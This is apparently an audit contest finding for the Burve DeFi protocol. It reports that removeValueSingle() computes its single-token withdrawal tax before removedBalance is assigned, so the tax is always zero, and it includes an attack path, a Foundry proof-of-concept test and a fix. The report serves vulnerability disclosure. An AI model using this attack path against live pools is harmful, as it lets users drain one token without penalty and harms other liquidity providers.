Dandy Ivory Tadpole

High

# Users can imbalance the pool by removing a single pool token without paying tax due to incorrect calculation in removeValueSingle()

### Summary

Protocols typically charge a fee when users imbalance a pool by depositing or withdrawing only one token. This helps prevent draining a single token, which can break the price peg, increase slippage, and negatively affect other usersâ€”especially in stablecoin pools where balance is critical.

Burve enforces this by taxing single-token adds/removals. However, due to **incorrect logic in tax calculation for single-token withdrawals**, the tax always results in **zero**. This is because `removedBalance` is used before assigning it to proper value. As `removedBalance`  is 0 the `realTax` results to 0 always

https://github.com/sherlock-audit/2025-04-burve/blob/44cba36e2a0c3cd7b6999459bf7746db92f8cc0a/Burve/src/multi/facets/ValueFacet.sol#L236

As a result, users can withdraw one token from a multi-token pool **without penalty**, disrupting the balance and making the pool **unreliable for stable swaps** due to high slippage.

### Root Cause

In `ValueFacet.sol`, the `removeValueSingle()` function uses `removedBalance` in the tax calculation **before** assigning it a value. As a result, `realTax` is always computed as zero, regardless of actual withdrawal values. This allows users to bypass tax when withdrawing a single token.

```solidity
uint256 realRemoved = AdjustorLib.toReal(token, removedNominal, false);
Store.vertex(vid).withdraw(cid, realRemoved, false);

// @audit - removedBalance is 0 here
uint256 realTax = FullMath.mulDiv(
    removedBalance,
    nominalTax,
    removedNominal
);
c.addEarnings(vid, realTax);

removedBalance = realRemoved - realTax;

```

---

I have added console logs inside `removeValueSingle` and ran unit tests. As we can see the `removedBalance` always logs as 0

![Image](https://sherlock-files.ams3.digitaloceanspaces.com/gh-images/990174fd-2c11-458c-bdef-4b3c83ca45b1)

### Internal Pre-conditions

NA

### External Pre-conditions

User initiates a call to removeValueSingle() with valid parameters.

### Attack Path

1. User calls `removeValueSingle()` with a valid token and closure.
2. Since `removedBalance` is 0 at the time of tax calculation, `realTax` is also 0.
3. User receives the full token amount without paying tax.
4. Pool becomes imbalanced as no penalty is applied for single-token withdrawal.

### Impact

- Protocol fails to collect tax revenue.
- Pool becomes imbalanced, breaking pricing assumptions.
- Swaps return significantly less output than expected due to high slippage.
- Transactions relying on `minReceive` thresholds may revert.
- Over time, users avoid trading in the pool due to degraded liquidity quality.

### PoC

File name: ValueFacetTestASH.sol

Command: forge test --match-contract "ValueFacetTestASH"  -vvv

Objective: To show how much difference we get in output amount after pool is imabalanced with simple example walkthrough

Swap TokenAmountOut when pool is balanced: 999276149113

Swap TokenAmountOut during after pool is Imbalanced: 716415445946

Difference of 282860703167

```solidity
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.27;

import {MultiSetupTest} from "./MultiSetup.u.sol";
import {console2 as console} from "forge-std/console2.sol";
import {ValueFacet} from "../../src/multi/facets/ValueFacet.sol";
import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";
import {AssetBookImpl} from "../../src/multi/Asset.sol";
import {MAX_TOKENS} from "../../src/multi/Token.sol";
import {MockERC20} from "../mocks/MockERC20.sol";

//forge test --match-contract "ValueFacetTestASH"  -vvv
contract ValueFacetTestASH is MultiSetupTest {
    function setUp() public {
        vm.startPrank(owner);
        _newDiamond();
        _newTokens(4);
        _fundAccount(alice);
        _fundAccount(bob);
        // Its annoying we have to fund first.
        _fundAccount(address(this));
        _fundAccount(owner);
        // So we have to redo the prank.
        vm.startPrank(owner);
        _initializeClosure(0xF, 100e18); // 1,2,3,4
        _initializeClosure(0xE, 100e18); // 2,3,4
        _initializeClosure(0xD, 100e18); // 1,3,4
        _initializeClosure(0xc, 1e12); // 3,4
        _initializeClosure(0xB, 100e18); // 1,2,4
        _initializeClosure(0xa, 1e12); // 2,4
        _initializeClosure(0x9, 1e18); // 1,4
        _initializeClosure(0x8, 1e12); // 4
        _initializeClosure(0x7, 100e18); // 1,2,3
        _initializeClosure(0x6, 1e12); // 2,3
        _initializeClosure(0x5, 1e12); // 1,3
        _initializeClosure(0x4, 1e12); // 3
        _initializeClosure(0x3, 100e18); // 1,2
        _initializeClosure(0x2, 1e12); // 2
        _initializeClosure(0x1, 1e12); // 1
        vm.stopPrank();
    }

    function getBalances(
        address who
    ) public view returns (uint256[4] memory balances) {
        for (uint8 i = 0; i < 4; ++i) {
            balances[i] = ERC20(tokens[i]).balanceOf(who);
        }
    }

    function diffBalances(
        uint256[4] memory a,
        uint256[4] memory b
    ) public pure returns (int256[4] memory diffs) {
        for (uint8 i = 0; i < 4; ++i) {
            diffs[i] = int256(a[i]) - int256(b[i]);
        }
    }

    function testSwap_Regular() public {
        valueFacet.addValue(address(this), 0xA, 1000e12, 0); // tokens 1 and 3.
        valueFacet.removeValue(address(this), 0xA, 500e12, 0);

        (uint256 inAmount, uint256 outAmount) = swapFacet.swap(
            address(this),
            tokens[1],
            tokens[3],
            100e10,
            0,
            0xA
        );
        // 1000000000000, 999276149113
        console.log("inAmount, outAmount", inAmount, outAmount);
    }
    function testSwap_AfterImbalance_Bug() public {
        valueFacet.addValue(address(this), 0xA, 1000e12, 0); // tokens 1 and 3.
        valueFacet.removeValueSingle(
            address(this),
            0xA,
            500e12,
            0,
            tokens[3],
            0
        );

        (uint256 inAmount, uint256 outAmount) = swapFacet.swap(
            address(this),
            tokens[1],
            tokens[3],
            100e10,
            0,
            0xA
        );
        
        //1000000000000 716415445946
        console.log("inAmount, outAmount", inAmount, outAmount);
        uint256 diff = 999276149113 - 716415445946;
        console.log("difference", diff); // 282860703167
    }
}
```

### Mitigation

Fix the tax calculation in `removeValueSingle()` by ensuring `removedBalance` is correctly assigned before use:

```solidity
removedBalance = realRemoved; // Assign before tax calculation
uint256 realTax = FullMath.mulDiv(
    removedBalance,
    nominalTax,
    removedNominal
);
removedBalance = realRemoved - realTax; // Adjust post-tax

```

This ensures the protocol applies the correct tax amount and maintains pool balance integrity

---